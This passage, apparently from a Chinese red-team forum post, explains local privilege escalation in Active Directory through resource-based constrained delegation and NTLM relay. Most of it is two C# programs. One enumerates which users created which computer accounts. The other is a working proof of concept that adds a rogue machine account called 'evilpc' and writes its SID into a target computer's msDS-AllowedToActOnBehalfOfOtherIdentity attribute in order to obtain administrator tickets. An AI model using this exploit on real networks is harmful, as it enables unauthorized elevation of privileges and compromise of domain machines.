简而言之, 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据,但该票据只对这台机器生效,然后拿这张票据去对计算机进行认证就能提权成功了(也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时,可以通过给所在机器配置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性来设置rbcd,然后通过s4u协议申请高权限票据进行利用)
提权原理
RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,允许自己委派自己。
如何通过ldap协议去设置?
首先我们得知道,机器加入域后,而对应登陆的域用户会在域内创建机器对应的计算机对象也就是计算机账户(默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户),默认的ACl策略下,登陆机器的域用户(不仅仅是域用户,只要是注册spn的账户都可以)是对计算机对象是有写入对象属性的权限(WriteProperty)。
而恰巧,域里面的计算机服务大部分都是注册为spn的服务账户,比如mssql,lls。。。。。,但是spn这个需要手动去dc那里去注册,为啥要注册为了spn,方便管理和访问,有时候可以直接查询spn账户来锁定域里面的一些特殊服务。
所以我们只需要用服务账户去设置本地计算机写入msDS-AllowedToActOnBehalfOfOtherIdentity属性。
如何利用?
这里我们来说最普通最平常的情况,现在我们拥有一台普通权限的域内的机器,拥有一个注册spn域账户。
1.首先,因为我们不知道我们拿到计算机加入域的时候是哪一个域用户创建的计算机对象,但是没关系,我们手上有个spn域账户,我们可以再为计算机创建个计算机账户
2.然后我们通过我们spn域账户去给创建的计算机账户设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,其实本地也可以设置,但是权限不够。
3.然后使用s4u2self扩展代表我们拿到服务器的administrator去向KDC请求一张TGS。
4.最后一步使用s4u2proxy扩展用我们拿从s4u2self那里获取到的tgs作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的tgs票据
5.提权成功
注意:如果我们没有spn域账户,我们也可以去查看机器是通过哪个域用户加入域的(mS-DS-CreatorSID),控制这个域用户一样的可以利用,而且一个域用户X可能会在域中创建多台机器,那也是爽歪歪。
附上查询脚本(mS-DS-CreatorSID):
- using System;
- using System.Security.Principal;
- using System.DirectoryServices;
- namespace ConsoleApp9
- {
- class Program
- {
- static void Main(string[] args)
- {
- DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");
- DirectorySearcher search = new DirectorySearcher(ldap_conn);
- String query = "(&(objectClass=computer))";//查找计算机
- search.Filter = query;
- foreach (SearchResult r in search.FindAll())
- {
- String mS_DS_CreatorSID="";
- String computername = "";
- try
- {
- computername = r.Properties["dNSHostName"][0].ToString();
- mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
- //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
- }
- catch
- {
- ;
- }
- //再通过sid找用户名
- String UserQuery = "(&(objectClass=user))";
- DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
- search2.Filter = UserQuery;
- foreach (SearchResult u in search2.FindAll())
- {
- String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
- if (user_sid == mS_DS_CreatorSID) {
- //Console.WriteLine("debug");
- String username = u.Properties["name"][0].ToString();
- Console.WriteLine("[*] [{0}] -> creator [{1}]",computername, username);
- }
- }
- }
- }
- }
- }
复制代码 值得注意的是,计算机本地服务账户,如iis,network service等,出网都是机器账户,也就是说,也可以利用。
附上ateam大佬的poc:
- using System;
- using System.Text;
- using System.Security.AccessControl;
- using System.Security.Principal;
- using System.Net;
- namespace Addnew_MachineAccount
- {
- class Program
- {
- static void Main(string[] args)
- {
- String DomainController = "192.168.20.10";
- String Domain = "redteam.com";
- //String username = args[0]; //域用户名
- //String password = args[1]; //域用户密码
- String new_MachineAccount = "evilpc"; //添加的机器账户
- String new_MachineAccount_password = "123456"; //机器账户密码
- String victimcomputer = "web2"; //需要进行提权的机器
- String victimcomputer_ldap_path = "LDAP://CN=web2,CN=Computers,DC=redteam,DC=com";
- String machine_account = new_MachineAccount;
- String sam_account = machine_account + "$";
- String distinguished_name = "";
- String[] DC_array = null;
- distinguished_name = "CN=" + machine_account + ",CN=Computers";
- DC_array = Domain.Split('.');
- foreach (String DC in DC_array)
- {
- distinguished_name += ",DC=" + DC;
- }
- Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
- Console.WriteLine("[+] Domain = " + Domain);
- Console.WriteLine("[+] Domain Controller = " + DomainController);
- //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
- //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
- //连接ldap
- System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
- //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
- System.DirectoryServices.Protocols.LdapConnection connection = null;
- //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
- connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
- connection.SessionOptions.Sealing = true;
- connection.SessionOptions.Signing = true;
- connection.Bind();
- var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
- new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
- new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
- new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
- new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes(""" + new_MachineAccount_password + """)),
- new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
- new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
- });
- try
- {
- //添加机器账户
- connection.SendRequest(request);
- Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
- }
- catch (System.Exception ex)
- {
- Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
- Console.WriteLine("[-] Exception: " + ex.Message);
- return;
- }
- // 获取新计算机对象的SID
- var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
- var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
- SecurityIdentifier sid = null;
- foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
- {
- try
- {
- sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
- Console.Out.WriteLine("[+] "+ new_MachineAccount +" SID : " + sid.Value);
- }
- catch
- {
- Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
- return;
- }
- }
- //设置资源约束委派
- System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
- myldapConnection.Path = victimcomputer_ldap_path;
- myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
- System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
- //通过ldap找计算机
- search.Filter = "(CN="+victimcomputer+")";
- string[] requiredProperties = new string[] { "samaccountname" };
- foreach (String property in requiredProperties)
- search.PropertiesToLoad.Add(property);
- System.DirectoryServices.SearchResult result = null;
- try
- {
- result = search.FindOne();
- }
- catch (System.Exception ex)
- {
- Console.WriteLine(ex.Message + "Exiting...");
- return;
- }
- if (result != null)
- {
- System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
- String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
- System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
- byte[] descriptor_buffer = new byte[sd.BinaryLength];
- sd.GetBinaryForm(descriptor_buffer, 0);
- // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
- entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
- try
- {
- entryToUpdate.CommitChanges();//提交更改
- Console.WriteLine("[+] Exploit successfully!");
- }
- catch (System.Exception ex)
- {
- Console.WriteLine(ex.Message);
- Console.WriteLine("[!] \nFailed...");
- return;
- }
- }
- }
- }
- }
复制代码
|
|